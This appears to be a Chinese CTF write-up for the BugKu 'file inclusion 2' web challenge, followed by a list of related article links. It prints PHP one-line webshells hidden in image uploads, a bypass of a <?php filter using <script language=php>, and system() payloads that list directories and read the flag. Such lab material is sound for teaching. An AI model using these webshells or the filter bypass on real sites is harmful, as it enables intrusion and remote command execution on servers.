BugKu Web渗透之 文件包含2

启动场景,打开网页,如下图所示。

步骤一:查看请求的数据。

发现响应中有一个upload.php的注释。

步骤二:访问upload.php

发现是一个文件上传的页面。

**步骤三:(方法一)**用菜刀或蚁剑连接,上传一句话木马。

1.测试其他类型的文件是否能上传,测试了txt和php后缀的,结果都显示upload failed。

2.截图保存图片,之后在文件内容后添加一句话木马,上传提示成功,并显示了保存的路径。

一句话木马为:<?php @assert($_REQUEST['pass']); ?>

此时会显示上传成功,并返回上传路径。

3.根据上传地址访问文件。

index.php?file=upload/*****.png

网页显示内容如下:

发现<?php 和 ?> 被屏蔽。

4.重新写一句话木马,避开被屏蔽的字段。

把<?php用 <script language=php 代替,

<script language=php>eval($_POST['pass']);</script>

5.蚁剑或者菜刀连接。

6.连接成功,之后文件列表中的根目录找到flag文件

双击打开,得到flag。

**步骤三:(方法二)**用冰蝎连接。

1.上传完整shell,php语言的,把其中的<?php 和 ?> 替换成<script language=php> 和</script>

2.新增Shell。

3.双击连接,基本信息页面显示这样就是连接成功了。

4.文件管理页面,查找flag,并双击显示。

**步骤三:(方法三)**使用系统命令去查看flag

1.尝试上传文件内容为:<script language=php>system("ls")</script>的文件,将文件后缀从txt改为png。

2.上传完成后,根据上传目录去查看,结果发现显示了文件目录。

但是ls是不显示文件的,于是我把ls 后加了参数-a,这样就能显示文件夹和文件了。

3.继续尝试 ls -a ..、 ls -a ../..、 ls -a ../../.. ,分别将这些内容替换上面的ls,之后文件上传,再查看上传文件的路径,显示内容依次为:

4.在最后一张图发现了flag字样,于是,<script language=php>system("cat ../../flag")</script>,同样是上传后,通过路径查看,最后显示flag。

其实这题还有一个更简单的方法,就是直接在file=后加上/flag,直接就显示flag了。但是一般来说,不会这么简单,所以我们还是得把思路和流程都走一遍。

相关推荐
刚刚入门的菜鸟6 小时前
php-curl
运维·web安全·php
Teame_8 小时前
渗透课程学习总结
网络·安全·web安全
千寻技术帮8 小时前
10404_基于Web的校园网络安全防御系统
网络·mysql·安全·web安全·springboot
浩浩测试一下11 小时前
WAF绕过之编码绕过特性篇
计算机网络·web安全·网络安全·网络攻击模型·安全威胁分析·安全架构
EverydayJoy^v^17 小时前
RH134学习进程——十一.管理网络安全
学习·安全·web安全
运筹vivo@1 天前
BUUCTF: [BSidesCF 2020]Had a bad day
web安全·ctf
unable code2 天前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
浩浩测试一下2 天前
DDOS 应急响应Linux防火墙 Iptable 使用方式方法
linux·网络·安全·web安全·网络安全·系统安全·ddos
浩浩测试一下2 天前
洪水猛兽攻击 Ddos Dos cc Drdos floods区别
安全·web安全·网络安全·系统安全·wpf·可信计算技术·安全架构
运维行者_2 天前
OpManager 自定义集成支持:革新您的 IT 工作流
运维·网络·人工智能·安全·web安全·自动化·自动化工作流